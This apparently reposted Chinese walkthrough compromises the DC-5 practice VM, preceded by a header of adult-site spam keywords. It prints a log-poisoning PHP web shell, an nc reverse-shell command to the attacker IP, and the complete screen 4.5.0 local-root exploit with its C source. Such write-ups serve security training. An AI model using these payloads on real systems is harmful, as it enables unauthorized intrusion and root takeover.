日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 人文社科 > 生活经验 >内容正文

生活经验

DC5靶机渗透测试

發布時間:2023/11/28 生活经验 29 豆豆
生活随笔 收集整理的這篇文章主要介紹了 DC5靶机渗透测试 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

文章目錄

        • 環境版本:
      • 一、信息收集
        • 1.主機發現
        • 2.端口掃描
      • 二、漏洞發現
        • 1.訪問靶機 web 服務
        • 2.嘗試利用文件包含漏洞
        • 3.嘗試將惡意文件寫入日志
        • 4.利用文件包含訪問日志并進行利用
      • 三、提權
        • 1.查看可以 root 權限使用的命令
        • 2.漏洞搜索
        • 3.查找 exp,并查看內容
        • 4.使用 ftp 進行傳輸文件

環境版本:

  • VMware pro 16
  • Kali 2021.1(虛擬機)
  • DC-5(虛擬機)

一、信息收集

1.主機發現

arp-scan -l

2.端口掃描

nmap -A -p- 192.168.2.186

挨個主機掃描發現 192.168.2.186 為靶機
發現其開放了 80 端口 nginx 服務、111 端口 rpcbind 服務、39424 端口,不知道啥服務enmm

二、漏洞發現

1.訪問靶機 web 服務

發現點擊其主頁 contact -> submit 之后的返回頁面刷新會導致下方 footer 年份隨機改變
懷疑其存在文件包含

2.嘗試利用文件包含漏洞

http://192.168.2.186/thankyou.php?file=/etc/passwd

發現存在該漏洞

3.嘗試將惡意文件寫入日志

使用 BP 對該網頁進行抓包、構造流量包

/thankyou.php?<?php system($_GET['cmd']); ?>

4.利用文件包含訪問日志并進行利用

攻擊機開始監聽:

nc -lvvp 1234    #使用 nc 進行連接利用

使用 BP 利用上一步的一句話木馬進行命令執行

/thankyou.php?file=/var/log/nginx/access.log&cmd=nc -e /bin/bash 192.168.2.123 1234


得到靶機 shell

三、提權

1.查看可以 root 權限使用的命令

find / -perm -u=s -type f 2>/dev/null

發現 screen-4.5.0

2.漏洞搜索

searchsploit screen 4.5.0

3.查找 exp,并查看內容

cd /usr/share/exploitdb/exploits/linux/local 
cat ./41154.sh

發現其在 /tmp 路徑下編譯了兩個 c,并執行了若干命令
我在這里將這個文件分為3個文件:
libhax.c

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){chown("/tmp/rootshell", 0, 0);chmod("/tmp/rootshell", 04755);unlink("/etc/ld.so.preload");printf("[+] done!\n");
}

rootshell.c

#include <stdio.h>
int main(void){setuid(0);setgid(0);seteuid(0);setegid(0);execvp("/bin/sh", NULL, NULL);
}

41154.sh

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell   

將這三個文件放在同一個文件夾內,使用下述命令對 2 個 c 文件進行編譯、移除舊文件

gcc -fPIC -shared -ldl -o ./libhax.so ./libhax.c
rm -f ./libhax.c
gcc -o ./rootshell ./rootshell.c
rm -f ./rootshell.c

使用 vim 對 41154.sh 文件進行格式轉換

vim ./exp.sh 
:set ff=unix 
:wq

4.使用 ftp 進行傳輸文件

1)使用 vsftpd 搭建 ftp 服務(攻擊機搭建)

apt-get install vsftpd

2)更改配置

vim /etc/vsftpd.conf    #編輯配置文件

改為如下(按照需求更改):

listen=NO                 //是否開啟監聽ipv4和ipv6數據      
listen_ipv6=YES          //是否開啟監聽ipv6數據# Allow anonymous FTP? (Disabled by default).
anonymous_enable=NO      //是否允許匿名登陸,無需密碼# Uncomment this to allow local users to log in.
local_enable=YES        //是否允許本地用戶登錄# Uncomment this to enable any form of FTP write command.
write_enable=YES        //是否允許登陸者上傳文件# Default umask for local users is 077. You may wish to change this to 022,
# if your users expect that (022 is used by most other ftpd's)
local_umask=022         //設置本地用戶默認要減免的權限# Activate directory messages - messages given to remote users when they
# go into a certain directory.
dirmessage_enable=YES       //目錄消息,能夠給遠程登陸的用戶發送目錄
#
# If enabled, vsftpd will display directory listings with the time
# in  your  local  time  zone.  The default is to display GMT. The
# times returned by the MDTM FTP command are also affected by this
# option.
use_localtime=YES           //服務器所展示的目錄將隨著本地時間而改變
#
# Activate logging of uploads/downloads.
xferlog_enable=YES          //開啟上傳下載的日志記錄
#
# Make sure PORT transfer connections originate from port 20 (ftp-data).
connect_from_port_20=YES    //確認連接傳輸的端口號為20# You may override where the log file goes if you like. The default is shown
# below.
xferlog_file=/var/log/vsftpd.log    //日志文件存放位置
#
# If you want, you can have your log file in standard ftpd xferlog format.
# Note that the default log file location is /var/log/xferlog in this case.
xferlog_std_format=YES          //日志文件采用標準格式# You may fully customise the login banner string:
ftpd_banner=Welcome to FTP service.  //在使用shell時登陸那么會發送歡迎語# You may specify an explicit list of local users to chroot() to their home
# directory. If chroot_local_user is YES, then this list becomes a list of
# users to NOT chroot().
# (Warning! chroot'ing can be very dangerous. If using chroot, make sure that
# the user does not have write access to the top level directory within the
# chroot)
chroot_local_user=YES        //對本地用戶是否實施限制
chroot_list_enable=YES       //開啟限制白名單
# (default follows)         
chroot_list_file=/etc/vsftpd.chroot_list        //白名單路徑,若無這個文件需要自己創建# This option should be the name of a directory which is empty.  Also, the
# directory should not be writable by the ftp user. This directory is used
# as a secure chroot() jail at times vsftpd does not require filesystem
# access.
secure_chroot_dir=/var/run/vsftpd/empty
#
# This string is the name of the PAM service vsftpd will use.
# pam_service_name=vsftpd
pam_service_name=ftp            //此處ubuntu的系統需要改為ftp# This option specifies the location of the RSA certificate to use for SSL
# encrypted connections.
rsa_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
rsa_private_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
ssl_enable=NO                 #
# Uncomment this to indicate that vsftpd use a utf8 filesystem.
utf8_filesystem=YES       //編碼統一為utf8編碼,可以識別中文,防止亂碼

3)創建 ftp 用戶

useradd -m ftpuser    #創建用戶 
passwd ftpuser    #更改密碼 
cd /home 
chmod 777 ftpuser
touch /etc/vsftpd.chroot_list    #創建白名單文件 
echo "ftpuser" > /etc/vsftpd.chroot_list 
service vsftpd restart    #重啟服務

4)ftp 傳輸文件及利用 exp

靶機 shell:
cd /tmp
python -c "import pty;pty.spawn('/bin/sh')"
ftp 192.168.1.131    #因為我更換了網絡,所以攻擊機ip變了
ftpuser
ftpuser
ls
ftp> get 41154.sh
ftp> get libhax.so
ftp> get rootshell
ftp> quit
chmod +x ./41154.sh
./41154.sh


注意:

  1. 構造數據包發送多個之后靶機宕了,解決方法是加大靶機內存
  2. 將 exp 從攻擊機傳輸到靶機時考慮使用 nc 時無法連接,可能是路徑權限問題
  3. /tmp 文件夾的權限是 777
  4. 此次測試我反復嘗試了 5 次,發現有時會將一句話木馬寫入到 error.log 日志

總結

以上是生活随笔為你收集整理的DC5靶机渗透测试的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。